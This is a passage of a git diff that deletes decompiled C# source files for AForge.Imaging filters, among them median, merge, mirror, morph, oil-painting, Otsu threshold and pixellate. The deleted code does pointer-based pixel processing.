- private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public int Size - { - get - { - return size; - } - set - { - size = System.Math.Max(3, System.Math.Min(25, value | 1)); - } - } - - public Median() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - public Median(int size) - : this() - { - Size = size; - } - - protected unsafe override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_00e2: Unknown result type (might be due to invalid IL or missing references) - //IL_00ec: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(source.PixelFormat) / 8; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int stride = source.Stride; - int stride2 = destination.Stride; - int num4 = stride - rect.Width * num; - int num5 = stride2 - rect.Width * num; - int num6 = size >> 1; - byte[] array = new byte[size * size]; - byte[] array2 = new byte[size * size]; - byte[] array3 = new byte[size * size]; - byte* ptr = (byte*)source.ImageData.ToPointer(); - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - ptr += top * stride + left * num; - ptr2 += top * stride2 + left * num; - if ((int)destination.PixelFormat == 198659) - { - for (int i = top; i < num3; i++) - { - int num7 = left; - while (num7 < num2) - { - int num8 = 0; - for (int j = -num6; j <= num6; j++) - { - int num9 = i + j; - if (num9 < top) - { - continue; - } - if (num9 >= num3) - { - break; - } - for (int k = -num6; k <= num6; k++) - { - num9 = num7 + k; - if (num9 >= left && num9 < num2) - { - array2[num8++] = ptr[j * stride + k]; - } - } - } - Array.Sort(array2, 0, num8); - *ptr2 = array2[num8 >> 1]; - num7++; - ptr++; - ptr2++; - } - ptr += num4; - ptr2 += num5; - } - return; - } - for (int l = top; l < num3; l++) - { - int num10 = left; - while (num10 < num2) - { - int num8 = 0; - int num9; - for (int j = -num6; j <= num6; j++) - { - num9 = l + j; - if (num9 < top) - { - continue; - } - if (num9 >= num3) - { - break; - } - for (int k = -num6; k <= num6; k++) - { - num9 = num10 + k; - if (num9 >= left && num9 < num2) - { - byte* ptr3 = ptr + (j * stride + k * num); - array[num8] = ptr3[2]; - array2[num8] = ptr3[1]; - array3[num8] = *ptr3; - num8++; - } - } - } - Array.Sort(array, 0, num8); - Array.Sort(array2, 0, num8); - Array.Sort(array3, 0, num8); - num9 = num8 >> 1; - ptr2[2] = array[num9]; - ptr2[1] = array2[num9]; - *ptr2 = array3[num9]; - num10++; - ptr += num; - ptr2 += num; - } - ptr += num4; - ptr2 += num5; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Merge.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Merge.cs deleted file mode 100644 index 47947f0..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Merge.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public sealed class Merge : BaseInPlaceFilter2 -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Merge() - { - InitFormatTranslations(); - } - - public Merge(Bitmap overlayImage) - : base(overlayImage) - { - InitFormatTranslations(); - } - - public Merge(UnmanagedImage unmanagedOverlayImage) - : base(unmanagedOverlayImage) - { - InitFormatTranslations(); - } - - private void InitFormatTranslations() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)3424269; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, UnmanagedImage overlay) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_0015: Unknown result type (might be due to invalid IL or missing references) - //IL_001b: Invalid comparison between Unknown and I4 - //IL_0038: Unknown result type (might be due to invalid IL or missing references) - //IL_003e: Invalid comparison between Unknown and I4 - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - //IL_0023: Invalid comparison between Unknown and I4 - //IL_0040: Unknown result type (might be due to invalid IL or missing references) - //IL_0046: Invalid comparison between Unknown and I4 - //IL_0025: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Invalid comparison between Unknown and I4 - //IL_002d: Unknown result type (might be due to invalid IL or missing references) - //IL_0033: Invalid comparison between Unknown and I4 - //IL_00d9: Unknown result type (might be due to invalid IL or missing references) - //IL_00df: Invalid comparison between Unknown and I4 - //IL_00e1: Unknown result type (might be due to invalid IL or missing references) - //IL_00e7: Invalid comparison between Unknown and I4 - PixelFormat pixelFormat = image.PixelFormat; - int width = image.Width; - int height = image.Height; - if ((int)pixelFormat == 198659 || (int)pixelFormat == 137224 || (int)pixelFormat == 139273 || (int)pixelFormat == 2498570) - { - int num = (((int)pixelFormat == 198659) ? 1 : (((int)pixelFormat == 137224) ? 3 : 4)); - int num2 = width * num; - int num3 = image.Stride - num2; - int num4 = overlay.Stride - num2; - byte* ptr = (byte*)image.ImageData.ToPointer(); - byte* ptr2 = (byte*)overlay.ImageData.ToPointer(); - for (int i = 0; i < height; i++) - { - int num5 = 0; - while (num5 < num2) - { - if (*ptr2 > *ptr) - { - *ptr = *ptr2; - } - num5++; - ptr++; - ptr2++; - } - ptr += num3; - ptr2 += num4; - } - return; - } - int num6 = (((int)pixelFormat == 1052676) ? 1 : (((int)pixelFormat == 1060876) ? 3 : 4)); - int num7 = width * num6; - int stride = image.Stride; - int stride2 = overlay.Stride; - byte* ptr3 = (byte*)image.ImageData.ToPointer(); - byte* ptr4 = (byte*)overlay.ImageData.ToPointer(); - for (int j = 0; j < height; j++) - { - ushort* ptr5 = (ushort*)(ptr3 + (nint)j * (nint)stride); - ushort* ptr6 = (ushort*)(ptr4 + (nint)j * (nint)stride2); - int num8 = 0; - while (num8 < num7) - { - if (*ptr6 > *ptr5) - { - *ptr5 = *ptr6; - } - num8++; - ptr5++; - ptr6++; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Mirror.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Mirror.cs deleted file mode 100644 index 3c3d778..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Mirror.cs +++ /dev/null @@ -1,144 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Mirror : BaseInPlacePartialFilter -{ - private bool mirrorX; - - private bool mirrorY; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public bool MirrorX - { - get - { - return mirrorX; - } - set - { - mirrorX = value; - } - } - - public bool MirrorY - { - get - { - return mirrorY; - } - set - { - mirrorY = value; - } - } - - public Mirror(bool mirrorX, bool mirrorY) - { - this.mirrorX = mirrorX; - MirrorY = mirrorY; - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_00b2: Unknown result type (might be due to invalid IL or missing references) - //IL_00bc: Invalid comparison between Unknown and I4 - int num = (((int)image.PixelFormat == 198659) ? 1 : 3); - int width = rect.Width; - int height = rect.Height; - int top = rect.Top; - int num2 = top + height; - int left = rect.Left; - int num3 = left + width; - int num4 = left * num; - int num5 = num3 * num; - int stride = image.Stride; - if (mirrorY) - { - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * stride + left * num; - byte* ptr2 = (byte*)image.ImageData.ToPointer(); - ptr2 += top * stride + (num3 - 1) * num; - int num6 = stride - (width >> 1) * num; - int num7 = stride + (width >> 1) * num; - if ((int)image.PixelFormat == 198659) - { - for (int i = top; i < num2; i++) - { - int num8 = left; - int num9 = left + (width >> 1); - while (num8 < num9) - { - byte b = *ptr; - *ptr = *ptr2; - *ptr2 = b; - num8++; - ptr++; - ptr2--; - } - ptr += num6; - ptr2 += num7; - } - } - else - { - for (int j = top; j < num2; j++) - { - int num10 = left; - int num11 = left + (width >> 1); - while (num10 < num11) - { - byte b = ptr[2]; - ptr[2] = ptr2[2]; - ptr2[2] = b; - b = ptr[1]; - ptr[1] = ptr2[1]; - ptr2[1] = b; - b = *ptr; - *ptr = *ptr2; - *ptr2 = b; - num10++; - ptr += 3; - ptr2 -= 3; - } - ptr += num6; - ptr2 += num7; - } - } - } - if (!mirrorX) - { - return; - } - int num12 = stride - rect.Width * num; - byte* ptr3 = (byte*)image.ImageData.ToPointer(); - ptr3 += top * stride + left * num; - byte* ptr4 = (byte*)image.ImageData.ToPointer(); - ptr4 += (num2 - 1) * stride + left * num; - int k = top; - for (int num13 = top + (height >> 1); k < num13; k++) - { - int num14 = num4; - while (num14 < num5) - { - byte b2 = *ptr3; - *ptr3 = *ptr4; - *ptr4 = b2; - num14++; - ptr3++; - ptr4++; - } - ptr3 += num12; - ptr4 += num12 - stride - stride; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Morph.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Morph.cs deleted file mode 100644 index 8a91535..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Morph.cs +++ /dev/null @@ -1,78 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Morph : BaseInPlaceFilter2 -{ - private double sourcePercent = 0.5; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public double SourcePercent - { - get - { - return sourcePercent; - } - set - { - sourcePercent = System.Math.Max(0.0, System.Math.Min(1.0, value)); - } - } - - public Morph() - { - InitFormatTranslations(); - } - - public Morph(Bitmap overlayImage) - : base(overlayImage) - { - InitFormatTranslations(); - } - - public Morph(UnmanagedImage unmanagedOverlayImage) - : base(unmanagedOverlayImage) - { - InitFormatTranslations(); - } - - private void InitFormatTranslations() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, UnmanagedImage overlay) - { - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - //IL_0019: Invalid comparison between Unknown and I4 - int width = image.Width; - int height = image.Height; - int num = (((int)image.PixelFormat == 198659) ? 1 : 3); - int num2 = width * num; - int num3 = image.Stride - num2; - int num4 = overlay.Stride - num2; - double num5 = 1.0 - sourcePercent; - byte* ptr = (byte*)image.ImageData.ToPointer(); - byte* ptr2 = (byte*)overlay.ImageData.ToPointer(); - for (int i = 0; i < height; i++) - { - int num6 = 0; - while (num6 < num2) - { - *ptr = (byte)(sourcePercent * (double)(int)(*ptr) + num5 * (double)(int)(*ptr2)); - num6++; - ptr++; - ptr2++; - } - ptr += num3; - ptr2 += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/MoveTowards.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/MoveTowards.cs deleted file mode 100644 index b3a9b58..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/MoveTowards.cs +++ /dev/null @@ -1,158 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class MoveTowards : BaseInPlaceFilter2 -{ - private int stepSize = 1; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public int StepSize - { - get - { - return stepSize; - } - set - { - stepSize = System.Math.Max(1, System.Math.Min(65535, value)); - } - } - - public MoveTowards() - { - InitFormatTranslations(); - } - - public MoveTowards(Bitmap overlayImage) - : base(overlayImage) - { - InitFormatTranslations(); - } - - public MoveTowards(Bitmap overlayImage, int stepSize) - : base(overlayImage) - { - InitFormatTranslations(); - StepSize = stepSize; - } - - public MoveTowards(UnmanagedImage unmanagedOverlayImage) - : base(unmanagedOverlayImage) - { - InitFormatTranslations(); - } - - public MoveTowards(UnmanagedImage unmanagedOverlayImage, int stepSize) - : base(unmanagedOverlayImage) - { - InitFormatTranslations(); - StepSize = stepSize; - } - - private void InitFormatTranslations() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)3424269; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, UnmanagedImage overlay) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_0015: Unknown result type (might be due to invalid IL or missing references) - //IL_001b: Invalid comparison between Unknown and I4 - //IL_0038: Unknown result type (might be due to invalid IL or missing references) - //IL_003e: Invalid comparison between Unknown and I4 - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - //IL_0023: Invalid comparison between Unknown and I4 - //IL_0040: Unknown result type (might be due to invalid IL or missing references) - //IL_0046: Invalid comparison between Unknown and I4 - //IL_0025: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Invalid comparison between Unknown and I4 - //IL_002d: Unknown result type (might be due to invalid IL or missing references) - //IL_0033: Invalid comparison between Unknown and I4 - //IL_0119: Unknown result type (might be due to invalid IL or missing references) - //IL_011f: Invalid comparison between Unknown and I4 - //IL_0121: Unknown result type (might be due to invalid IL or missing references) - //IL_0127: Invalid comparison between Unknown and I4 - PixelFormat pixelFormat = image.PixelFormat; - int width = image.Width; - int height = image.Height; - if ((int)pixelFormat == 198659 || (int)pixelFormat == 137224 || (int)pixelFormat == 139273 || (int)pixelFormat == 2498570) - { - int num = (((int)pixelFormat == 198659) ? 1 : (((int)pixelFormat == 137224) ? 3 : 4)); - int num2 = width * num; - int num3 = image.Stride - num2; - int num4 = overlay.Stride - num2; - byte* ptr = (byte*)image.ImageData.ToPointer(); - byte* ptr2 = (byte*)overlay.ImageData.ToPointer(); - for (int i = 0; i < height; i++) - { - int num5 = 0; - while (num5 < num2) - { - int num6 = *ptr2 - *ptr; - if (num6 > 0) - { - byte* intPtr = ptr; - *intPtr += (byte)((stepSize < num6) ? stepSize : num6); - } - else if (num6 < 0) - { - num6 = -num6; - byte* intPtr2 = ptr; - *intPtr2 -= (byte)((stepSize < num6) ? stepSize : num6); - } - num5++; - ptr++; - ptr2++; - } - ptr += num3; - ptr2 += num4; - } - return; - } - int num7 = (((int)pixelFormat == 1052676) ? 1 : (((int)pixelFormat == 1060876) ? 3 : 4)); - int num8 = width * num7; - int stride = image.Stride; - int stride2 = overlay.Stride; - byte* ptr3 = (byte*)image.ImageData.ToPointer(); - byte* ptr4 = (byte*)overlay.ImageData.ToPointer(); - for (int j = 0; j < height; j++) - { - ushort* ptr5 = (ushort*)(ptr3 + (nint)j * (nint)stride); - ushort* ptr6 = (ushort*)(ptr4 + (nint)j * (nint)stride2); - int num9 = 0; - while (num9 < num8) - { - int num6 = *ptr6 - *ptr5; - if (num6 > 0) - { - ushort* intPtr3 = ptr5; - *intPtr3 += (ushort)((stepSize < num6) ? stepSize : num6); - } - else if (num6 < 0) - { - num6 = -num6; - ushort* intPtr4 = ptr5; - *intPtr4 -= (ushort)((stepSize < num6) ? stepSize : num6); - } - num9++; - ptr5++; - ptr6++; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/OilPainting.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/OilPainting.cs deleted file mode 100644 index 7043b3e..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/OilPainting.cs +++ /dev/null @@ -1,171 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class OilPainting : BaseUsingCopyPartialFilter -{ - private int brushSize = 5; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public int BrushSize - { - get - { - return brushSize; - } - set - { - brushSize = System.Math.Max(3, System.Math.Min(21, value | 1)); - } - } - - public OilPainting() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - public OilPainting(int brushSize) - : this() - { - BrushSize = brushSize; - } - - protected unsafe override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_00b2: Unknown result type (might be due to invalid IL or missing references) - //IL_00bc: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(source.PixelFormat) / 8; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int stride = source.Stride; - int stride2 = destination.Stride; - int num4 = stride - rect.Width * num; - int num5 = stride - rect.Width * num; - int num6 = brushSize >> 1; - int[] array = new int[256]; - byte* ptr = (byte*)source.ImageData.ToPointer(); - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - ptr += top * stride + left * num; - ptr2 += top * stride2 + left * num; - if ((int)destination.PixelFormat == 198659) - { - for (int i = top; i < num3; i++) - { - int num7 = left; - while (num7 < num2) - { - Array.Clear(array, 0, 256); - int k; - for (int j = -num6; j <= num6; j++) - { - int num8 = i + j; - if (num8 < top) - { - continue; - } - if (num8 >= num3) - { - break; - } - for (k = -num6; k <= num6; k++) - { - num8 = num7 + k; - if (num8 >= left && num8 < num2) - { - byte b = ptr[j * stride + k]; - array[b]++; - } - } - } - byte b2 = 0; - k = 0; - for (int j = 0; j < 256; j++) - { - if (array[j] > k) - { - b2 = (byte)j; - k = array[j]; - } - } - *ptr2 = b2; - num7++; - ptr++; - ptr2++; - } - ptr += num4; - ptr2 += num5; - } - return; - } - int[] array2 = new int[256]; - int[] array3 = new int[256]; - int[] array4 = new int[256]; - for (int l = top; l < num3; l++) - { - int num9 = left; - while (num9 < num2) - { - Array.Clear(array, 0, 256); - Array.Clear(array2, 0, 256); - Array.Clear(array3, 0, 256); - Array.Clear(array4, 0, 256); - int k; - for (int j = -num6; j <= num6; j++) - { - int num8 = l + j; - if (num8 < top) - { - continue; - } - if (num8 >= num3) - { - break; - } - for (k = -num6; k <= num6; k++) - { - num8 = num9 + k; - if (num8 >= left && num8 < num2) - { - byte* ptr3 = ptr + (j * stride + k * num); - byte b = (byte)(0.2125 * (double)(int)ptr3[2] + 0.7154 * (double)(int)ptr3[1] + 0.0721 * (double)(int)(*ptr3)); - array[b]++; - array2[b] += ptr3[2]; - array3[b] += ptr3[1]; - array4[b] += *ptr3; - } - } - } - byte b2 = 0; - k = 0; - for (int j = 0; j < 256; j++) - { - if (array[j] > k) - { - b2 = (byte)j; - k = array[j]; - } - } - ptr2[2] = (byte)(array2[b2] / array[b2]); - ptr2[1] = (byte)(array3[b2] / array[b2]); - *ptr2 = (byte)(array4[b2] / array[b2]); - num9++; - ptr += num; - ptr2 += num; - } - ptr += num4; - ptr2 += num5; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Opening.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Opening.cs deleted file mode 100644 index 88f8368..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Opening.cs +++ /dev/null @@ -1,89 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Opening : IFilter, IInPlaceFilter, IInPlacePartialFilter, IFilterInformation -{ - private Erosion errosion = new Erosion(); - - private Dilatation dilatation = new Dilatation(); - - public Dictionary FormatTranslations => errosion.FormatTranslations; - - public Opening() - { - } - - public Opening(short[,] se) - { - errosion = new Erosion(se); - dilatation = new Dilatation(se); - } - - public Bitmap Apply(Bitmap image) - { - Bitmap val = errosion.Apply(image); - Bitmap result = dilatation.Apply(val); - ((Image)val).Dispose(); - return result; - } - - public Bitmap Apply(BitmapData imageData) - { - Bitmap val = errosion.Apply(imageData); - Bitmap result = dilatation.Apply(val); - ((Image)val).Dispose(); - return result; - } - - public UnmanagedImage Apply(UnmanagedImage image) - { - UnmanagedImage unmanagedImage = errosion.Apply(image); - dilatation.ApplyInPlace(unmanagedImage); - return unmanagedImage; - } - - public void Apply(UnmanagedImage sourceImage, UnmanagedImage destinationImage) - { - errosion.Apply(sourceImage, destinationImage); - dilatation.ApplyInPlace(destinationImage); - } - - public void ApplyInPlace(Bitmap image) - { - errosion.ApplyInPlace(image); - dilatation.ApplyInPlace(image); - } - - public void ApplyInPlace(BitmapData imageData) - { - errosion.ApplyInPlace(imageData); - dilatation.ApplyInPlace(imageData); - } - - public void ApplyInPlace(UnmanagedImage image) - { - errosion.ApplyInPlace(image); - dilatation.ApplyInPlace(image); - } - - public void ApplyInPlace(Bitmap image, Rectangle rect) - { - errosion.ApplyInPlace(image, rect); - dilatation.ApplyInPlace(image, rect); - } - - public void ApplyInPlace(BitmapData imageData, Rectangle rect) - { - errosion.ApplyInPlace(imageData, rect); - dilatation.ApplyInPlace(imageData, rect); - } - - public void ApplyInPlace(UnmanagedImage image, Rectangle rect) - { - errosion.ApplyInPlace(image, rect); - dilatation.ApplyInPlace(image, rect); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/OrderedDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/OrderedDithering.cs deleted file mode 100644 index 92c2ac9..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/OrderedDithering.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class OrderedDithering : BaseInPlacePartialFilter -{ - private int rows = 4; - - private int cols = 4; - - private byte[,] matrix = new byte[4, 4] - { - { 15, 143, 47, 175 }, - { 207, 79, 239, 111 }, - { 63, 191, 31, 159 }, - { 255, 127, 223, 95 } - }; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public OrderedDithering() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - public OrderedDithering(byte[,] matrix) - : this() - { - rows = matrix.GetLength(0); - cols = matrix.GetLength(1); - this.matrix = matrix; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - int left = rect.Left; - int top = rect.Top; - int num = left + rect.Width; - int num2 = top + rect.Height; - int num3 = image.Stride - rect.Width; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left; - for (int i = top; i < num2; i++) - { - int num4 = left; - while (num4 < num) - { - *ptr = (byte)((*ptr > matrix[i % rows, num4 % cols]) ? 255u : 0u); - num4++; - ptr++; - } - ptr += num3; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/OtsuThreshold.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/OtsuThreshold.cs deleted file mode 100644 index 9e2cab5..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/OtsuThreshold.cs +++ /dev/null @@ -1,114 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class OtsuThreshold : BaseInPlacePartialFilter -{ - private Threshold thresholdFilter = new Threshold(); - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public int ThresholdValue => thresholdFilter.ThresholdValue; - - public OtsuThreshold() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - public int CalculateThreshold(Bitmap image, Rectangle rect) - { - //IL_0018: Unknown result type (might be due to invalid IL or missing references) - int num = 0; - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - return CalculateThreshold(val, rect); - } - finally - { - image.UnlockBits(val); - } - } - - public int CalculateThreshold(BitmapData image, Rectangle rect) - { - return CalculateThreshold(new UnmanagedImage(image), rect); - } - - public unsafe int CalculateThreshold(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - if ((int)image.PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Source pixel format is not supported by the routine."); - } - int result = 0; - int left = rect.Left; - int top = rect.Top; - int num = left + rect.Width; - int num2 = top + rect.Height; - int num3 = image.Stride - rect.Width; - int[] array = new int[256]; - double[] array2 = new double[256]; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left; - for (int i = top; i < num2; i++) - { - int num4 = left; - while (num4 < num) - { - array[*ptr]++; - num4++; - ptr++; - } - ptr += num3; - } - int num5 = (num - left) * (num2 - top); - double num6 = 0.0; - for (int j = 0; j < 256; j++) - { - array2[j] = (double)array[j] / (double)num5; - num6 += array2[j] * (double)j; - } - double num7 = double.MinValue; - double num8 = 0.0; - double num9 = 1.0; - double num10 = 0.0; - for (int k = 0; k < 256; k++) - { - if (!(num9 > 0.0)) - { - break; - } - double num11 = num10; - double num12 = (num6 - num11 * num8) / num9; - double num13 = num8 * (1.0 - num8) * System.Math.Pow(num11 - num12, 2.0); - if (num13 > num7) - { - num7 = num13; - result = k; - } - num10 *= num8; - num8 += array2[k]; - num9 -= array2[k]; - num10 += (double)k * array2[k]; - if (num8 != 0.0) - { - num10 /= num8; - } - } - return result; - } - - protected override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - thresholdFilter.ThresholdValue = CalculateThreshold(image, rect); - thresholdFilter.ApplyInPlace(image, rect); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Pixellate.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Pixellate.cs deleted file mode 100644 index cef6dcb..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Pixellate.cs +++ /dev/null @@ -1,190 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Pixellate : BaseInPlacePartialFilter -{ - private int pixelWidth = 8; - - private int pixelHeight = 8; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public int PixelWidth - { - get - { - return pixelWidth; - } - set - { - pixelWidth = System.Math.Max(2, System.Math.Min(32, value)); - } - } - - public int PixelHeight - { - get - { - return pixelHeight; - } - set - { - pixelHeight = System.Math.Max(2, System.Math.Min(32, value)); - } - } - - public int PixelSize - { - set - { - pixelWidth = (pixelHeight = System.Math.Max(2, System.Math.Min(32, value))); - } - } - - public Pixellate() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - public Pixellate(int pixelSize) - : this() - { - PixelSize = pixelSize; - } - - public Pixellate(int pixelWidth, int pixelHeight) - : this() - { - PixelWidth = pixelWidth; - PixelHeight = pixelHeight; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_0081: Unknown result type (might be due to invalid IL or missing references) - //IL_008b: Invalid comparison between Unknown and I4 - int num = (((int)image.PixelFormat == 198659) ? 1 : 3); - int top = rect.Top; - int num2 = top + rect.Height; - int width = rect.Width; - int num3 = image.Stride - width * num; - int num4 = (width - 1) / pixelWidth + 1; - int num5 = (width - 1) % pixelWidth + 1; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + rect.Left * num; - byte* ptr2 = ptr; - if ((int)image.PixelFormat == 198659) - { - int[] array = new int[num4]; - int num6 = top; - int num7 = top; - while (num6 < num2) - { - Array.Clear(array, 0, num4); - int num8 = 0; - while (num8 < pixelHeight && num6 < num2) - { - int num9 = 0; - while (num9 < width) - { - array[num9 / pixelWidth] += *ptr; - num9++; - ptr++; - } - ptr += num3; - num8++; - num6++; - } - int num10 = num8 * pixelWidth; - int num11 = num8 * num5; - int i; - for (i = 0; i < num4 - 1; i++) - { - array[i] /= num10; - } - array[i] /= num11; - num8 = 0; - while (num8 < pixelHeight && num7 < num2) - { - int num9 = 0; - while (num9 < width) - { - *ptr2 = (byte)array[num9 / pixelWidth]; - num9++; - ptr2++; - } - ptr2 += num3; - num8++; - num7++; - } - } - return; - } - int[] array2 = new int[num4 * 3]; - int num12 = top; - int num13 = top; - while (num12 < num2) - { - Array.Clear(array2, 0, num4 * 3); - int num8 = 0; - int num14; - while (num8 < pixelHeight && num12 < num2) - { - int num9 = 0; - while (num9 < width) - { - num14 = num9 / pixelWidth * 3; - array2[num14] += ptr[2]; - array2[num14 + 1] += ptr[1]; - 